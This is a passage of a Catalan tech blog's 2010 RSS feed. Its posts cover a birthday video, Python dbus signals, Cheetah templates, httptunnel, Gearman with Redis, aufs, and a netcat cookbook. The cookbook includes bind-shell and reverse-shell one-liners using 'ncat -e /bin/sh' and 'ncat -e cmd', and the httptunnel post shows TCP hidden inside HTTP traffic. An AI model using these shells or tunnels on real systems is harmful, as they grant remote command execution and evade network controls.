		<category><![CDATA[congratulations]]></category>

		<guid isPermaLink="false">http://oriolrius.cat/blog/?p=2224</guid>
		<description><![CDATA[Dilluns i dimarts he estat per Vinaròs després de molt de temps de no estar per la zona. Desrpés de 3 anys d&#8217;esperar va ser el moment perquè m&#8217;entreguessin el video que em van fer per felicitar-me el 30è aniversari, o sigui, el que correspon a l&#8217;any 2007. Com que el video s&#8217;ho val el [...]]]></description>
			<content:encoded><![CDATA[<p>Dilluns i dimarts he estat per Vinaròs després de molt de temps de no estar per la zona. Desrpés de 3 anys d&#8217;esperar va ser el moment perquè m&#8217;entreguessin el video que em van fer per felicitar-me el 30è aniversari, o sigui, el que correspon a l&#8217;any 2007. Com que el video s&#8217;ho val el penjo a Youtube perquè el pogueu veure.</p>
<p>Part 1:<br />
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/hTngvtvGsUI&amp;hl=en_US&amp;fs=1" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube.com/v/hTngvtvGsUI&amp;hl=en_US&amp;fs=1" allowscriptaccess="always" allowfullscreen="true"></embed></object><br />
Part 2:<br />
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/ZnHpJ-E-t6c&amp;hl=en_US&amp;fs=1" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube.com/v/ZnHpJ-E-t6c&amp;hl=en_US&amp;fs=1" allowscriptaccess="always" allowfullscreen="true"></embed></object><br />
Per cert, aquesta part del video és només de la gent de Vinaròs, els altres videos que m&#8217;han comentat que m&#8217;havien fet altres persones encara no els he vist, cosa que ja té delicte <img src='http://oriolrius.cat/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>]]></content:encoded>
			<wfw:commentRss>http://oriolrius.cat/blog/2010/07/08/video-del-meu-30e-aniversari-potser-una-mica-tard/feed</wfw:commentRss>
		<slash:comments></slash:comments>
		</item>
		<item>
		<title>dbus+python: emetent i rebent senyals</title>
		<link>http://oriolrius.cat/blog/2010/06/30/dbuspython-emetent-i-rebent-senyals?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=dbuspython-emetent-i-rebent-senyals</link>
		<comments>http://oriolrius.cat/blog/2010/06/30/dbuspython-emetent-i-rebent-senyals#comments</comments>
		<pubDate>Wed, 30 Jun 2010 18:36:34 +0000</pubDate>
		<dc:creator>Oriol Rius</dc:creator>
				<category><![CDATA[Programacio]]></category>
		<category><![CDATA[dbus]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://oriolrius.cat/blog/?p=2220</guid>
		<description><![CDATA[Feia massa temps que no jugava amb DBUS i les he passat una mica negres aquesta tarda intentant recordar com funcionava tot plegat. La qüestió de base és molt senzilla, com que el codi parla per si mateix. Simplement adjuntaré els dos codis.
Receptor de senyals DBUS, rep la senyal amb format &#8217;string&#8217; i la mostra:
#!/usr/bin/env [...]]]></description>
			<content:encoded><![CDATA[<p>Feia massa temps que no jugava amb DBUS i les he passat una mica negres aquesta tarda intentant recordar com funcionava tot plegat. La qüestió de base és molt senzilla, com que el codi parla per si mateix. Simplement adjuntaré els dos codis.</p>
<p>Receptor de senyals DBUS, rep la senyal amb format &#8217;string&#8217; i la mostra:</p>
<pre>#!/usr/bin/env python
#--encoding: UTF-8--
"""
entra en un loop esperant senyals emeses a:
  dbus_interface = cat.oriolrius.prova
  object_path = "/cat/oriolrius/prova/senyal"
amb nom de senyal: 'estat'
quan es rep la senyal la mostrem
"""
import gobject
import dbus
import dbus.mainloop.glib

def mostra(m):
    print m

dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
bus = dbus.SessionBus()
bus.add_signal_receiver(
                 mostra,
                 path="/cat/oriolrius/prova/senyal",
                 dbus_interface="cat.oriolrius.prova",
                 signal_name = "estat"
                )
loop = gobject.MainLoop()
loop.run()
</pre>
<p>Emisor de senyals DBUS, envia una senyal de tipus &#8217;string&#8217; amb el contingut &#8216;hola&#8217;:</p>
<pre>#!/usr/bin/env python
#--encoding: UTF-8--
"""
Emet una senyal a dbus, al bus 'session' amb destí:
  dbus_interface = cat.oriolrius.prova
  object_path = "/cat/oriolrius/prova/senyal"
amb nom de senyal: 'estat'
"""
import gobject
import dbus
from dbus.service import signal,Object
import dbus.mainloop.glib

class EmetSenyal(Object):
    def __init__(self, conn, object_path='/'):
        Object.__init__(self, conn, object_path)

    @signal('cat.oriolrius.prova')
    def estat(self,m):
        global loop
        print("senyal emesa: %s" % m)
        gobject.timeout_add(2000, loop.quit)

dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
loop = gobject.MainLoop()
bus = dbus.SessionBus()
o = EmetSenyal(bus,object_path='/cat/oriolrius/prova/senyal')
o.estat('hola')
loop.run()
</pre>
<p>Usant el &#8216;dbus-monitor&#8217; es pot veure la traça del missatge:</p>
<pre>signal sender=:1.634 -&gt; dest=(null destination) serial=2 path=/cat/oriolrius/prova/senyal; interface=cat.oriolrius.prova; member=estat
   string "hola"
</pre>]]></content:encoded>
			<wfw:commentRss>http://oriolrius.cat/blog/2010/06/30/dbuspython-emetent-i-rebent-senyals/feed</wfw:commentRss>
		<slash:comments></slash:comments>
		</item>
		<item>
		<title>Cheetah &#8211; the python powered template engine</title>
		<link>http://oriolrius.cat/blog/2010/06/28/cheetah-the-python-powered-template-engine?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=cheetah-the-python-powered-template-engine</link>
		<comments>http://oriolrius.cat/blog/2010/06/28/cheetah-the-python-powered-template-engine#comments</comments>
		<pubDate>Mon, 28 Jun 2010 07:19:17 +0000</pubDate>
		<dc:creator>Oriol Rius</dc:creator>
				<category><![CDATA[Programacio]]></category>
		<category><![CDATA[cheetah]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[template]]></category>

		<guid isPermaLink="false">http://oriolrius.cat/blog/?p=2218</guid>
		<description><![CDATA[Un article &#8216;fast-n-dirty&#8217; sobre potser la millor llibreria que he trobat per treballar amb templates i python: Cheetah. Es tracta de poder generar fitxers de texte de forma senzilla: fitxers de configuració, pàgines web, emails, etc. a partir de plantilles. Realment útil en molts entorns.
Les funcionalitats (copy-paste de la web):

is supported by every major Python [...]]]></description>
			<content:encoded><![CDATA[<p>Un article &#8216;fast-n-dirty&#8217; sobre potser la millor llibreria que he trobat per treballar amb templates i python: <a title="Cheetah" href="http://www.cheetahtemplate.org/">Cheetah</a>. Es tracta de poder generar fitxers de texte de forma senzilla: fitxers de configuració, pàgines web, emails, etc. a partir de plantilles. Realment útil en molts entorns.</p>
<p>Les funcionalitats (copy-paste de la web):</p>
<ul>
<li><strong>is supported by every major Python web framework</strong>.</li>
<li><strong>is fully documented and is supported by an active user community</strong>.</li>
<li>can output/generate <strong>any</strong> text-based format.</li>
<li>compiles templates into optimized, yet readable, Python code.</li>
<li>blends the power and flexibility of Python with a simple template language          that non-programmers can understand.</li>
<li>gives template authors full access to any Python data structure, module,          function, object, or method in their templates. Meanwhile, it provides a way           for administrators to selectively restrict access to Python when needed.</li>
<li>makes code reuse easy by providing an object-oriented interface to       templates that is accessible from Python code or other Cheetah       templates.  One template can subclass another and selectively       reimplement sections of it.  Cheetah templates can be subclasses       of <strong>any</strong> Python class and vice-versa.</li>
<li>provides a simple, yet powerful, caching mechanism that can dramatically       improve the performance of a dynamic website.</li>
<li>encourages clean separation of content, graphic design, and program      code.  This leads to highly modular, flexible, and reusable site      architectures, shorter development time, and <acronym title="HyperText Markup Language">HTML</acronym> and program code that is      easier to understand and maintain. It is particularly well suited for team      efforts.</li>
<li>can be used to generate static html via its command-line tool.</li>
</ul>
<p>a qui va orientat (copy-paste de la web):</p>
<ul>
<li>for <strong>programmers</strong> to create reusable components and functions            that are accessible and understandable to designers.</li>
<li>for <strong>designers</strong> to mark out placeholders for content and           dynamic components in their templates.</li>
<li>for <strong>designers</strong> to soft-code aspects of their design that are           either repeated in several places or are subject to change.</li>
<li>for <strong>designers</strong> to reuse and extend existing templates and thus           minimize duplication of effort and code.</li>
<li>and, of course, for <strong>content writers</strong> to use the templates that           designers have created.</li>
</ul>]]></content:encoded>
			<wfw:commentRss>http://oriolrius.cat/blog/2010/06/28/cheetah-the-python-powered-template-engine/feed</wfw:commentRss>
		<slash:comments></slash:comments>
		</item>
		<item>
		<title>My Workspace</title>
		<link>http://oriolrius.cat/blog/2010/06/21/my-workspace?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=my-workspace</link>
		<comments>http://oriolrius.cat/blog/2010/06/21/my-workspace#comments</comments>
		<pubDate>Mon, 21 Jun 2010 08:09:48 +0000</pubDate>
		<dc:creator>Oriol Rius</dc:creator>
				<category><![CDATA[internet]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[jquery-note]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://oriolrius.cat/blog/?p=2201</guid>
		<description><![CDATA[
Aquest és el meu entorn de treball a dia d&#8217;avui, de fet, he volgut mostrar-lo perquè volia provar de fer una petita integració entre jquery-notes i wordpress. Ja que jo diria que malgrat aquesta funcionalitat és típica de flickr quan s&#8217;exporten imatges des d&#8217;aquest sistema al nostre blog les notes de la imatge es perden. [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="jquery-note" src="http://oriolrius.cat/blog/wp-content/uploads/2010/06/workspace.jpg" alt="" width="600" /></p>
<p style="text-align: left;">Aquest és el meu entorn de treball a dia d&#8217;avui, de fet, he volgut mostrar-lo perquè volia provar de fer una petita integració entre <a title="jquery-notes website" href="http://jquery-notes.rydygel.de/index.php">jquery-notes</a> i <a title="wordpress website" href="http://wordpress.org">wordpress</a>. Ja que jo diria que malgrat aquesta funcionalitat és típica de <a title="flickr.com" href="http://flickr.com">flickr</a> quan s&#8217;exporten imatges des d&#8217;aquest sistema al nostre blog les notes de la imatge es perden. Així doncs, he pensat que era una bona idea tenir el meu propi sistema de posar notes a les imatges.<br />
La cosa ha estat senzilla només:</p>
<ul>
<li> he creat un directori al servidor del blog on he posat el jquery-notes, jquery-ui i jquery he posat els permisos corresponents als directoris.</li>
<li>he modificat les headers del wordpress perquè incloguin el codi de jquery-notes, jquery-ui i jquery. A més del <acronym title="Cascading Style Sheets">CSS</acronym> propi del jquery-notes i un petit script per declarar el comportament de jquery sobre la classe &#8220;jquery-note&#8221;.</li>
<li>després al crear un article amb la imatge i afegir-li la classe &#8220;jquery-note&#8221; automàticament s&#8217;afegeixen les notes que li he posat a la imatge.</li>
<li>per posar-li notes a les imatges calen els paràmetres corresponents al script afegit a les headers del wordpress.</li>
</ul>
<p><strong>UPDATE</strong>: casualment avui al blog: <a title="freelance switch" href="http://freelanceswitch.com">freelance switch</a> han pubilcat <a title="freelance switch workspaces" href="http://freelanceswitch.com/inspiration/15-inspiring-home-offices/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+FreelanceSwitch+%28Freelance+Switch%29&amp;utm_content=Google+Reader">un article amb diversos workspaces</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://oriolrius.cat/blog/2010/06/21/my-workspace/feed</wfw:commentRss>
		<slash:comments></slash:comments>
		</item>
		<item>
		<title>httptunnel: TCP sobre HTTP</title>
		<link>http://oriolrius.cat/blog/2010/06/20/httptunnel-tcp-sobre-http?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=httptunnel-tcp-sobre-http</link>
		<comments>http://oriolrius.cat/blog/2010/06/20/httptunnel-tcp-sobre-http#comments</comments>
		<pubDate>Sun, 20 Jun 2010 11:34:46 +0000</pubDate>
		<dc:creator>Oriol Rius</dc:creator>
				<category><![CDATA[Networking]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[tcp]]></category>
		<category><![CDATA[tunnel]]></category>

		<guid isPermaLink="false">http://oriolrius.cat/blog/?p=2197</guid>
		<description><![CDATA[
Amb httptunnel es poden establir connexions TCP sobre un enllaç HTTP, és a dir, disposem de dues eines el htc i el hts, escencialment el que fa és:

hts: publica un port simulant un servidor HTTP al conectar-hi amb htc ens enviarà cap al HOST:PORT configurats
htc: es conecta a hts usant HTTP i simulant un client [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright" title="HTTPtunnel site" src="http://oriolrius.cat/blog/wp-content/uploads/2010/06/httptun.png" alt="HTTPtunnel logo" width="175" height="175" /></p>
<p>Amb <a title="HTTPtunnel site" href="http://www.nocrew.org/software/httptunnel.html">httptunnel</a> es poden establir connexions TCP sobre un enllaç <acronym title="HyperText Transfer Protocol">HTTP</acronym>, és a dir, disposem de dues eines el htc i el hts, escencialment el que fa és:</p>
<ul>
<li><strong>hts</strong>: publica un port simulant un servidor <acronym title="HyperText Transfer Protocol">HTTP</acronym> al conectar-hi amb <em>htc</em> ens enviarà cap al HOST:PORT configurats</li>
<li><strong>htc</strong>: es conecta a <em>hts</em> usant <acronym title="HyperText Transfer Protocol">HTTP</acronym> i simulant un client <acronym title="HyperText Transfer Protocol">HTTP</acronym> normal (ffx, crhome, ie, etc) però en realitat transporta paquets TCP en el payload de les queries, l&#8217;usuari pot conectar-se a un port local que es publica i que permet accedir al HOST:PORT al que ha conectat hts de forma transparent</li>
</ul>
<p>Per fer una prova de concepte jo el que he fet és conectar el <em>hts</em> amb un servidor VNC, al costat del <em>htc</em> he connectat un client VNC i he accedit al VNC de forma totalment transparent, a més amb un <em>sniffer</em> he comprovat que els paquets que passeben per la xarxa eren paquets <acronym title="HyperText Transfer Protocol">HTTP</acronym> estàndards, i així era. Tan senzill com això:</p>
<pre>server:
./hts -w -F 127.0.0.1:5900 1080

client:
./htc -F 2300 server:1080
vinagre localhost:2300</pre>
<p>A més també suporta la possibilitat de fer-ho a través d&#8217;un proxy, això si aquest només esta suportat si és sense autenticació o amb autenticació bàsica. Així doncs, a partir d&#8217;això em venen al cap algunes millores interessants:</p>
<ul>
<li>suportar autenticació Digest i NTLM.</li>
<li>permetre accés al tunel via stdin/stdout (així ho podriem usar amb <acronym title="Secure Shell">SSH</acronym> com a ProxyCommand).</li>
<li>poder connectar-se a un segon proxy en l&#8217;extrem remot, és a dir, hts no té l&#8217;enllaç pre-establert.</li>
<li>suportar <acronym title="Secure Sockets Layer">SSL</acronym>, així ens estalbiariem haver d&#8217;usar stunnel per simular HTTPs.</li>
</ul>]]></content:encoded>
			<wfw:commentRss>http://oriolrius.cat/blog/2010/06/20/httptunnel-tcp-sobre-http/feed</wfw:commentRss>
		<slash:comments></slash:comments>
		</item>
		<item>
		<title>Somiant amb una extenció pel Gearman</title>
		<link>http://oriolrius.cat/blog/2010/06/16/somiant-amb-una-extencio-pel-gearman?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=somiant-amb-una-extencio-pel-gearman</link>
		<comments>http://oriolrius.cat/blog/2010/06/16/somiant-amb-una-extencio-pel-gearman#comments</comments>
		<pubDate>Wed, 16 Jun 2010 16:12:23 +0000</pubDate>
		<dc:creator>Oriol Rius</dc:creator>
				<category><![CDATA[Programacio]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[c]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[gearman]]></category>
		<category><![CDATA[jobs]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[redis]]></category>
		<category><![CDATA[tasks]]></category>

		<guid isPermaLink="false">http://oriolrius.cat/blog/?p=2192</guid>
		<description><![CDATA[Cal dir que no sóc massa ordenat al presentar noves tecnologies ja que primer de tot vaig fer un bechmark sobre Gearman abans de fer-ne una introducció, doncs bé com que en aquest article vull parlar sobre unes possibles extensions sobre les que vull treballar amb Gearman primer de tot faré una petit introducció al [...]]]></description>
			<content:encoded><![CDATA[<p>Cal dir que no sóc massa ordenat al presentar noves tecnologies ja que primer de tot <a title="benchmarking: gearman, couchdb i redis" href="http://oriolrius.cat/blog/2010/05/12/benchmarking-gearman-couchdb-i-redis">vaig fer un bechmark sobre Gearman</a> abans de fer-ne una introducció, doncs bé com que en aquest article vull parlar sobre unes possibles extensions sobre les que vull treballar amb Gearman primer de tot faré una petit introducció al projecte.</p>
<h2>Introducció</h2>
<p><a title="Gearman" href="http://gearman.org/">Gearman</a> és el que comunment anomenem un servidor de tasques, o sigui, que quan el nostre codi ha de demanar una tasca, funcionalitat, treball, o quelcom similar és molt interessant de cara a:</p>
<ul>
<li><strong>l&#8217;escalavilitat</strong>: podem tenir tants servidors i/o processos consumint tasques com ens interessi.</li>
<li><strong>paral·lelisme</strong>: les tasques es poden consumir paral·lelament.</li>
<li><strong>balanceix de càrrega</strong>: podem fer map/reduce sobre les tasques i enviar-les als servidors que ens interessis per distribuir la càrrega.</li>
<li><strong>independència entre lleguatges</strong>: el codi que demana la tasca i el que consumeix la tasca poden ser totalment diferents, les llibreries que té Gearman són: <acronym title="Pre-Hypertext Processing">PHP</acronym>, Pearl, Ruby, C, Python, etc.</li>
<li><strong>interficie <acronym title="HyperText Transfer Protocol">HTTP</acronym></strong>: a més disposa d&#8217;una interficie client <acronym title="HyperText Transfer Protocol">HTTP</acronym> que ens permetra injectar tasques desde llenguatges no suportats des de les llibreries de Gearman.</li>
</ul>
<p>usar un servidor d&#8217;aquest tipus, ja que a més de permetrens demanar tasques síncrones, també podem demanar-li tasques asíncrones. O sigui, que no només no sabem qui ens esta fent la feina limitant-nos a rebre&#8217;n el resultat sinó que també podem demanar que aquesta feina es faci quan es pugui.</p>
<p>Per si tot això no fos poc encara hi ha més avantatges:</p>
<ul>
<li>Open Source</li>
<li>Programat en C</li>
<li>Petit i molt ràpid</li>
<li>Suporta diversos backends: RAM, SQLite, Memcached, Tokyo Cabinet, etc.</li>
</ul>
<div>
<p style="text-align: center;"><img class="size-full wp-image-2194 aligncenter" title="gearman stack" src="http://oriolrius.cat/blog/wp-content/uploads/2010/06/gearman_stack.png" alt="gearman stack" width="479" height="302" /></p>
<p>La gent que va començar a implementar Gearman, van ser els de <a title="http://www.danga.com/" rel="nofollow" href="http://www.danga.com/">Danga Interactive</a> famosos per <a title="LiveJournal" href="http://www.livejournal.com/">LiveJournal</a> i <a title="Six a part" href="http://www.sixapart.com/">SixApart</a>.</p>
<h2>Les meves idees</h2>
<p>Després d&#8217;aquesta introducció, ara ja puc parlar de les coses que voldria que fes Gearman però que no fa. Primer de tot he de parlar de les avantatges que tindria si pogués tenir un backend contra Redis. El que persegueixo al connectar Redis amb Gearman és aconseguir:</p>
<ul>
<li>persistència de tasques malgrat es reiniciï Gearman</li>
<li>persistència de tasques en disc malgrat es reinciï Redis, gràcies a:
<ul>
<li>l&#8217;escriptura asíncrona a disc</li>
<li><a title="Append Only File HOWTO" href="http://code.google.com/p/redis/wiki/AppendOnlyFileHowto">bgrewriteaof</a>: evita que per l&#8217;escriptura asíncrona d&#8217;informació es perdin dades al reinciar bruscament Redis</li>
</ul>
</li>
<li>publicar a un canal PubSub de Redis els canvis que es fan sobre una tasca que s&#8217;ha enviat a &#8216;background&#8217;</li>
</ul>
<h2>Integració amb Redis</h2>
<div>
<p>Es tracata de fer el mateix que s&#8217;ha per integrar backend de tokyo cabinet: <a title="source code: queue_libtokyocabinet.c" href="http://bazaar.launchpad.net/~gearman-developers/gearmand/trunk/annotate/head:/libgearman-server/queue_libtokyocabinet.c">queue_libtokyocabinet.c</a> el problema d&#8217;usar tokyo cabinet contra disc és la pèrdua brutal de rendiment respecte a usar-lo contra RAM, ja que les escriptures es fan de forma síncrona.</p>
<p>A nivell de codi les semblances més grans són amb: <a title="source code: queue_libmemcached.c" href="http://bazaar.launchpad.net/~gearman-developers/gearmand/trunk/annotate/head:/libgearman-server/queue_libmemcached.c">queue_libmemcached.c</a>, malgrat el problema que té aquesta implementació és que cada cop que reiniciem memcached no tenim persistència de la informació que s&#8217;havia guardat en memcached, és com si les claus que s&#8217;han intrudit en l&#8217;anterior sessió s&#8217;haguessin esborrat. A més memcached no suporta persistència en les seves dades tampoc.</p>
<p>Així doncs, el que cal fer és agafar el millor d&#8217;amdues integracions i fer el mòdul amb Redis.</p>
<h2>Subscripció a les actualitzacions d&#8217;una tasca via Redis</h2>
<p>Quan s&#8217;envia una tasca en segon pla a Gearman aquest ens retorna un &#8216;Handler&#8217; per poder preguntar sobre l&#8217;estat de la tasca, el problema és que si volem saber com evoluciona la tasca o que ens informi quan ha acabat no hi ha manera de saber-ho si no és fent &#8216;pooling&#8217;. Per altre banda, el &#8216;worker&#8217; va actualitzant la tasca cada quan creu convenien perquè Gearman pugui saber quin és l&#8217;estat de la mateixa.</p>
<p>La meva idea és que al usar el backend de Redis, al mateix moment que s&#8217;actualitzi l&#8217;estat de la tasca també es publiqui (publish) a un canal <a title="Redis PublishSubscribe commands" href="http://code.google.com/p/redis/wiki/PublishSubscribe">PubSub de Redis</a> de forma que el codi que ha enviat la tasca pugui subscriures (subscribe) a aquest canal i en temps real i amb un cost de recursos baixíssim es pugui seguir l&#8217;estat de la tasca. Això ens evitaria la necessitat de que Gearman hagués de poder cridar un mètode de callback per informar-nos de l&#8217;estat de la mateixa, ja que hi ha alguns llenguatges en que fer això no és tan senzill.</p>
<p>En el gràfic que enganxo a continuació podem veure un esquema que he fet sobre això:</p>
<p style="text-align: center;"><img class="size-full wp-image-2193 aligncenter" title="esquema idees de Gearman amb Redis" src="http://oriolrius.cat/blog/wp-content/uploads/2010/06/gearman-redis-e2.png" alt="esquema idees de Gearman amb Redis" width="756" height="376" /></p>
<p>1) el nostre codi envia una tasca en &#8216;background&#8217; (segon pla) a Gearman i aquest li torna un &#8216;Handler&#8217; per identificar la tasca.</p>
<p>2) es guarda la tasca a Redis (set)</p>
<p>3) el nostre codi es subscriu al canal PubSub de la tasca</p>
<p>4) un worker demana la tasca</p>
<p>5) es publica l&#8217;estat de la tasca</p>
<p>6) es va actualitzant l&#8217;estat de la tasca</p>
<p>7) es van repetint els punts (5) i (6) fins acabar la tasca</p>
<h2>Feedback</h2>
<p>Com sempre s&#8217;accepten tota mena de crítiques i idees sobre la meva &#8216;paranoia&#8217;.</p>
</div>
</div>]]></content:encoded>
			<wfw:commentRss>http://oriolrius.cat/blog/2010/06/16/somiant-amb-una-extencio-pel-gearman/feed</wfw:commentRss>
		<slash:comments></slash:comments>
		</item>
		<item>
		<title>netcat &#8211; cookbook</title>
		<link>http://oriolrius.cat/blog/2010/05/31/netcat-cookbook?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=netcat-cookbook</link>
		<comments>http://oriolrius.cat/blog/2010/05/31/netcat-cookbook#comments</comments>
		<pubDate>Mon, 31 May 2010 12:05:20 +0000</pubDate>
		<dc:creator>Oriol Rius</dc:creator>
				<category><![CDATA[Networking]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[nc]]></category>
		<category><![CDATA[ncat]]></category>
		<category><![CDATA[netcat]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[system-administrator]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://oriolrius.cat/blog/?p=2187</guid>
		<description><![CDATA[
client TCP, en aquest cas HTTP

C:\client&#62;ncat google.com 80
GET / HTTP/1.1

client telnet:

C:\client&#62;ncat -t 192.168.1.1 23


simula un servidor TCP/HTTP molt simple:

C:\server&#62;ncat -l 127.0.0.1 80 &#60; stuff.txt
C:\client&#62;ncat localhost 80

C:\server&#62;ncat -l --keep-open 80 &#60; stuff.txt
C:\client&#62;ncat localhost 80


servidor UDP:

C:\server&#62;ncat -l 74 --udp
C:\client&#62;ncat --udp localhost 74 &#60; stuff.txt


es pot especificar el port i IP origen a usar:

C:\client&#62;ncat www.irongeek.com 80 -p 80 [...]]]></description>
			<content:encoded><![CDATA[<ul>
<li>client TCP, en aquest cas <acronym title="HyperText Transfer Protocol">HTTP</acronym></li>
</ul>
<pre>C:\client&gt;ncat google.com 80
GET / <acronym title="HyperText Transfer Protocol">HTTP</acronym>/1.1</pre>
<ul>
<li>client telnet:</li>
</ul>
<pre>C:\client&gt;ncat -t 192.168.1.1 23
</pre>
<ul>
<li>simula un servidor TCP/<acronym title="HyperText Transfer Protocol">HTTP</acronym> molt simple:</li>
</ul>
<pre>C:\server&gt;ncat -l 127.0.0.1 80 &lt; stuff.txt
C:\client&gt;ncat localhost 80

C:\server&gt;ncat -l --keep-open 80 &lt; stuff.txt
C:\client&gt;ncat localhost 80
</pre>
<ul>
<li>servidor UDP:</li>
</ul>
<pre>C:\server&gt;ncat -l 74 --udp
C:\client&gt;ncat --udp localhost 74 &lt; stuff.txt
</pre>
<ul>
<li>es pot especificar el port i <acronym title="Internet Protocol">IP</acronym> origen a usar:</li>
</ul>
<pre>C:\client&gt;ncat www.irongeek.com 80 -p 80 -s 127.0.0.1
C:\client&gt;ncat www.irongeek.com 80 -p 80 -s 192.168.1.1
</pre>
<ul>
<li>interconnecta clients, &#8216;proxy-tcp&#8217;</li>
</ul>
<pre>C:\server&gt;ncat -l 74
C:\client1&gt;ncat localhost 74
C:\client2&gt;ncat localhost 74

C:\server&gt;ncat -l 74 --broker
C:\client1&gt;ncat localhost 74
C:\client2&gt;ncat localhost 74
</pre>
<ul>
<li>servidor de &#8216;chat&#8217; molt simple</li>
</ul>
<pre>C:\server&gt;ncat -l 74 --chat
C:\client1&gt;ncat localhost 74
C:\client2&gt;ncat localhost 74
</pre>
<ul>
<li>client TCP+SSL:</li>
</ul>
<pre>C:\client&gt;ncat gmail.google.com 443 --ssl
GET / <acronym title="HyperText Transfer Protocol">HTTP</acronym>/1.1
</pre>
<ul>
<li>transmissió de fitxers via TCP+SSL:</li>
</ul>
<pre>C:\server&gt;ncat.exe -l --ssl 74 --send-only &lt; ncat.exe
C:\client&gt;ncat localhost 74 --ssl &gt; out2.exe
(ends self)

C:\client&gt;ncat --ssl -vvv -l &gt; newfile
C:\server&gt;ncat -v --send-only --ssl localhost &lt; ncat.exe
(Good for getting around NAT)
</pre>
<ul>
<li>proxy molt simple:</li>
</ul>
<pre>C:\ncat&gt;ncat -l 8080 --proxy-type http --proxy-auth adc:test --ssl
</pre>
<ul>
<li>shell amb backdoor:</li>
<ul>
<li> Linux:</li>
</ul>
</ul>
<pre>ncat -l 23 -e /bin/sh
C:\server&gt;ncat 192.168.159.128 23
</pre>
<ul>
<ul>
<li>Windows:</li>
</ul>
</ul>
<pre>C:\server&gt;ncat -l 23 -e cmd
ncat 192.168.159.129 23
</pre>
<ul>
<li>Reverse Shell (aka: Shovel Shell)</li>
</ul>
<pre>C:\server&gt;ncat -l 74
C:\client&gt;ncat 192.168.159.128 74 -e cmd
</pre>
<ul>
<li>netcat relay</li>
</ul>
<pre>C:\ncat&gt;ncat -l localhost 80 --sh-exec "ncat google.com 80 -o text.txt -x hex.txt"
</pre>]]></content:encoded>
			<wfw:commentRss>http://oriolrius.cat/blog/2010/05/31/netcat-cookbook/feed</wfw:commentRss>
		<slash:comments></slash:comments>
		</item>
		<item>
		<title>Aufs &#8211; la evolució del unionfs</title>
		<link>http://oriolrius.cat/blog/2010/05/31/aufs-la-evolucio-del-unionfs?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=aufs-la-evolucio-del-unionfs</link>
		<comments>http://oriolrius.cat/blog/2010/05/31/aufs-la-evolucio-del-unionfs#comments</comments>
		<pubDate>Mon, 31 May 2010 09:00:57 +0000</pubDate>
		<dc:creator>Oriol Rius</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[administrator]]></category>
		<category><![CDATA[filesystem]]></category>
		<category><![CDATA[fs]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[system-administrator]]></category>

		<guid isPermaLink="false">http://oriolrius.cat/blog/?p=2185</guid>
		<description><![CDATA[En les properes setamenes hauré de tornar-me a posar les piles amb els sistemes de fitxers COW(Copy-On-Write), ja havia jugat molt amb unionfs per tal de montar un player linux de digital signage fa uns 2 anys. Però ara estic fent una integració amb MeeGo que porta per defecte el sistema de fitxers BRTFS el [...]]]></description>
			<content:encoded><![CDATA[<p>En les properes setamenes hauré de tornar-me a posar les piles amb els sistemes de fitxers COW(Copy-On-Write), ja havia jugat molt amb unionfs per tal de montar un player linux de digital signage fa uns 2 anys. Però ara estic fent una integració amb MeeGo que porta per defecte el sistema de fitxers BRTFS el qual presenta moltíssimes diferencies en comparació a un sistema de fitxers amb journaling normal com podria ser ext3 i ext4.</p>
<p>La qüestió és que em cal intentar assegurar el bon funcionament d&#8217;un sistema operatiu a cada arrencada i havia pensat que potser això podia ser una bona idea, bé ja aniré explicant els resultats del experiments quan toquin. Ara només volia avançar-vos algunes de les funcionalitats i millores que suposa aufs respecte unionfs.</p>
<ul>
<li>permet unir diferents directoris en un directori virtual nou, a cada directori se l&#8217;anomenarà una &#8216;branch&#8217;</li>
<li>a cada &#8216;branch&#8217; li podem especificar una &#8216;flag&#8217; diferent: &#8216;readonly&#8217;, &#8216;readwrite&#8217; i &#8216;whiteout-able&#8217;</li>
